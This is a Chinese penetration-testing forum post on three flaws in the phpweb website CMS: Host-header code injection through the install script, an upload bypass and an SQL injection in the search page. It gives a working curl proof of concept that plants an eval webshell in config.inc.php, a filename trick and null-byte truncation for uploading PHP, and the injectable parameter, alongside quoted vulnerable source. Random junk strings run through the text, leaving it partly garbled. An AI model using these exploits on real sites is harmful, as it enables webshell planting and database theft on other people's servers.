中国网络渗透测试联盟

标题: phpweb成品网站最新版(注入、上传、写shell) [打印本页]

作者: admin    时间: 2013-1-4 19:45
标题: phpweb成品网站最新版(注入、上传、写shell)
注入:
$ ~1 w) o" [4 p6 X9 z* a' v7 r& f1 k3 q& J; G5 Z
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码) U4 w, K4 D! C' c4 J  n
5 I' \  c" A9 X2 D
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
9 x0 h1 T. L. @/ o  B. Z# e2 T鸡肋2: 有一定安全常识的站长都会删掉 install 目录! ?& }  v3 f& ~+ r4 W/ g$ F: ~
1 K5 ]0 \5 n# p" s$ B7 p4 v
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
$ }! I% Q2 T! B: K 1 }& O/ c& F' l- J8 D; R$ y! P
分析:; j1 z6 ^" k  h1 \" ?
3 `  g  K. H8 Y, ]

. A% P4 J+ I; A: n" B9 K$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤5 v9 N1 j! U& [
0 G! J' u7 _4 t& Y! i
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);8 r+ `" ^  a# h. z
                                            $filestr=str_replace(" ","",$filestr);
4 X5 Y, X9 t0 e  m1 q                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
: \: c4 L2 x# W) g& `% P2 c9 N                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);4 H* D  Q( I6 o( f6 _* D: a
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);$ X. A$ {7 O2 x8 H4 |8 G2 c5 W: O+ u) X
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);+ H  y+ D6 G4 y* ^
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);1 |' ~1 g1 P1 Z9 b
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);% _8 T" T1 C: ]8 q; B
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
+ P  d; L4 b/ P
' H- s9 {, l' E                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
# x4 C0 E( h  S  U5 Z$ }- R/ E$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^* f' E/ A0 t; D2 L* K3 A0 l! F; a

) I2 m7 z6 a) dpoc:- I+ Z$ N" c' x  A$ {$ y

+ j: H3 E1 c; D* C( ?  b?5 e( X9 w* v$ q) d& L
1. I4 y9 u, f/ D1 U. U" i  S6 [
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"0 t; y0 V) ?, s' y
shell地址: /config.inc.php
0 }1 r' I  o1 B- `跟之前的 phpcms一样 需要远程数据库
0 H6 F: l$ \& Q$ Y% I! h9 @ 5 }+ O; R6 n; L9 W# {- a+ }* i
——————————————————–
7 @) @! \* L- z& g; a上传漏洞(需要进后台):
( `  p' g9 w1 G; u5 e# f9 q5 q$ {漏洞文件: /kedit/upload_cgi/upload.php7 \$ t3 N3 }/ g2 {, k" q9 V% U
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用( P7 b7 a/ Y, N0 f$ G

/ `' X$ l" P5 J, U, x
1 S0 W- z8 a9 q0 K4 v5 Q% `% L<?php
: P3 n: Y/ @' [+ q    define("ROOTPATH", "../../");
8 u& b; A( j3 ^+ {/ ^- i    include(ROOTPATH."includes/admin.inc.php");( K  L8 j( g; Z0 r8 _4 p) c4 C
    NeedAuth(0);8 a1 e0 c+ U! C" v  L
4 f$ l  I! o  `
    $dt=date("Ymd",time());
8 x- M/ z8 F  {    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
$ g3 m0 u  `2 `2 T. I            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);3 H: \9 P1 d+ J: b% L2 m
    }
1 \' G( d) h4 e
. F8 M% n  e8 C% Z  q    //文件保存目录路径/ V- V, j* p4 H1 K9 W/ M- e- z
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';3 Z, i$ F9 j  y: m2 M
    echo $save_path;
% b+ }% E7 P5 G( i( p7 f7 P    //文件保存目录URL: r' W+ x  O) ^9 p, |% n, z
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';# F5 }/ y' [' j0 K/ {' E

" w5 W9 L; Q! u* D* t1 x    //定义允许上传的文件扩展名
8 b% {6 d- W8 T+ ]; p& d0 o5 {" X    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
6 g: j* u# [- T0 G0 J
4 v2 s  S$ C; u2 x  e0 `    //最大文件大小
" m4 b) g, L5 a- I+ P    $max_size = 1000000;, U+ q3 ~1 V9 o; i, i

% C6 c- N* C7 R' }1 S: e: d2 }    //更改目录权限
8 o3 a( D* j2 s* ]    @mkdir($save_path, 0777);
) r1 a/ _  J+ Z& M0 R: L! y * \: Q8 k5 u/ w6 s+ W& j- g
    //文件的全部路径
" K& Y7 v/ X' J0 Q* `/ ?    $file_path = $save_path.$_POST['fileName'];   //保存文件名
  C: U+ `* s  Q8 ?
" w+ c+ H: m! f0 P! {    //文件URL
2 n7 y9 W/ }- x& a! s# E    $file_url = $save_url.$_POST['fileName'];
1 e" ~$ X' o) E" p//有上传文件时3 V2 y9 ~; j0 g! T4 d& ?% }2 R
    if (empty($_FILES) === false) {
; {/ A. G# a3 p: f ; g2 a! w. P' {1 m8 D4 B( @
            //原文件名( P/ U3 ^/ F* d: |% j
            $file_name = $_FILES['fileData']['name'];7 r, T9 E& d9 y
            //服务器上临时文件名
. t  }  e' ^0 s. @+ ^8 W            $tmp_name = $_FILES['fileData']['tmp_name'];1 d; k. v2 g. }& v" s
            //文件大小, X3 U4 }1 [3 P, W, ~0 L! o
            $file_size = $_FILES['fileData']['size'];$ R4 i7 c/ J. |8 k0 E+ W& H
            //检查目录' C" w* R0 f2 M- M# |+ [5 \- G6 Y
            if (@is_dir($save_path) === false) {9 ]) N  I- }& U( F: D# c+ {
                    alert("上传目录不存在。");' n0 }; T" n2 n: R6 `
            }
& m. P! `+ e8 H. ^2 k            //检查目录写权限
; c0 A) a1 t3 F+ C; E3 W' U            if (@is_writable($save_path) === false) {7 k1 D, \2 I- C  O
                    alert("上传目录没有写权限。");
) F( L$ Q: R, s! ]. G            }
) G0 g! _8 B2 ~* D6 L; `            //检查是否已上传* q9 Z- k. z" |
            if (@is_uploaded_file($tmp_name) === false) {
- [( R. t& O+ _' P' V                    alert("临时文件可能不是上传文件。");5 y! L8 @  E* R  \# W1 ~& o7 p
            }
5 X  k# s$ o' g" D8 F            //检查文件大小
6 |* I- N/ `5 v( F- ^9 n            if ($file_size > $max_size) {  a: P) B/ Q4 C8 q2 N9 o
                    alert("上传文件大小超过限制。");+ R! A1 h, P% S9 K
            }& X1 j4 N! d# v# P( [
            //获得文件扩展名9 j/ j8 `# z% D3 k0 B4 |
            $temp_arr = explode(".", $_POST['fileName']);
& a1 W$ A0 C( j9 R! e  K% M* b3 X            $file_ext = array_pop($temp_arr);: [6 A- m1 u  N# D
            $file_ext = trim($file_ext);
: W7 N( O4 A/ x, ?* N3 D            $file_ext = strtolower($file_ext);
. x7 g5 U/ v' N
$ B: C, O3 C8 H7 p7 \8 l$ j2 p7 I            //检查扩展名   4 s- s0 u" G0 w! m
            if (in_array($file_ext, $ext_arr) === false) {     
3 I5 X) @& R3 r2 U( q8 [                    alert("上传文件扩展名是不允许的扩展名。");8 j$ a1 o% t; X
            }" e5 }7 c& o* C1 p+ K& ?) x

' m+ {3 c# f! K, I' R            //移动文件   
: _2 a6 w* V8 Z+ ^6 d# ^0 A; v            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
2 G+ k; M- q4 m% R/ K  L- z            if (move_uploaded_file($tmp_name, $file_path) === false) {+ b! h/ Q; Q# r7 ^
                    alert("上传文件失败。");
9 s# N: @: q% q& a# q5 H/ S            }! M+ c; t$ b) \0 v9 F+ a# q

- e9 I$ R3 t3 Z; N1 z9 z7 w            @chmod($file_path,0666);/ ~) F7 h( D: P1 _$ S- M

% d; d8 u# @% @( ^) d- n( `$ H    ?>
0 A& g5 o( o1 j! O抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227; ]$ C9 X: u- x7 _" b6 S9 c
9 h) N' w% h) h) n+ F
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过4 ?# b% B- s5 q; a$ P
; I4 I8 n% W: t
——————————————————
+ Z2 {% j1 X* Z0 E& `/ G注入漏洞:
4 ~, J5 z8 w. e1 g& \4 j& N  O漏洞文件:search/module/search.php& O6 ^. A* Z$ }: J5 d) A3 I+ h
/search/index.php?key=1&myord=1 [sqlinjection]
0 K8 D# L; ~& j/ w5 E( F" O) I
% K' s, y6 [+ p% e0 d1 n9 \- l
9 m; `" ?/ {9 L% u<?php
4 I8 p# |7 T7 u! z% ]- c1 T   //       ... 省略 n 行...2 b8 S' E1 ?5 f* C% X' e
   //第18行:5 V9 d/ b+ M# `, D( h& |/ k
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
5 L9 m+ h9 w1 l, t4 k$ `           $page=htmlspecialchars($_GET["page"]);6 h3 `6 a% o6 X, N" w( E
           $myord=htmlspecialchars($_GET["myord"]);
$ ?; G& |5 K" g: M( k& j* ^+ W* X
  l7 {( q0 k+ b! C  L0 t   //       ... 省略 n 行...
$ Q3 l, o  s* h! J/ z4 ]7 \" U! ~0 ]* F   $key,$myord 两个参数带入查询, q* R* X0 P, |# K/ S
   //第47行 $key:; {/ n% A0 A3 E8 p
5 ^6 _) ]2 t/ w! t$ m2 C* m
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..0 }0 C- {  X6 j/ k) _% ]. g
6 s; X% w( B) \( x! q
   //第197行 $myord
  j* L0 D0 b* d8 e. h5 X2 i7 J; c   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入' y  \7 @# S3 v0 S( c
- W; O+ o- \) @1 A& w  b
   ?>
  C/ |/ [7 r0 s6 N& C




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2